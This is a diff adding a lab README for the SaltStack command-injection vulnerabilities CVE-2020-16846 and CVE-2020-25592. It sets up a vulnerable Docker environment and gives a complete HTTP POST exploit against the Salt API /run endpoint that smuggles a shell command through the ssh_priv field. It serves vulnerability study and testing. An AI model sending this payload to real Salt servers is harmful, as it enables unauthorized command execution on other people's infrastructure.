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saltstack/CVE-2020-16846/README.md

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+# SaltStack Command Injection Remote Code Execution (CVE-2020-16846)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Salt is a new approach to infrastructure management built on a dynamic communication bus. Salt can be used for data-driven orchestration, remote execution for any infrastructure, configuration management for any app stack, and much more.
+
+In November 2020, SaltStack officially disclosed two vulnerabilities, CVE-2020-16846 and CVE-2020-25592. CVE-2020-25592 allows arbitrary user to use the SSH module, and CVE-2020-16846 allows users to execute arbitrary commands. Chain these two vulnerabilities will allow unauthorized attackers to execute arbitrary commands through the Salt API.
+
+References:
+
+- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+- https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html
+
+## Vulnerable Environment
+
+Execute the following command to start a SaltStack-Master service:
+
+```
+docker compose up -d
+```
+
+After the SaltStack-Master is started, the following ports will be listened:
+
+- 4505/4506: SaltStack-Master server, which is a bridge between master and minions
+- 8000: Salt's API server, **SSL requiring**
+- 2222: SSH server inside the container
+
+## Exploit
+
+Send the following request to `https://your-ip:8000/run`:
+
+```
+POST /run HTTP/1.1
+Host: 127.0.0.1:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: application/x-yaml
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+DNT: 1
+Connection: close
+Upgrade-Insecure-Requests: 1
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 87
+
+token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
+```
+
+Inject the command `touch /tmp/success` through the `ssh_priv` parameter:
+
+![](1.png)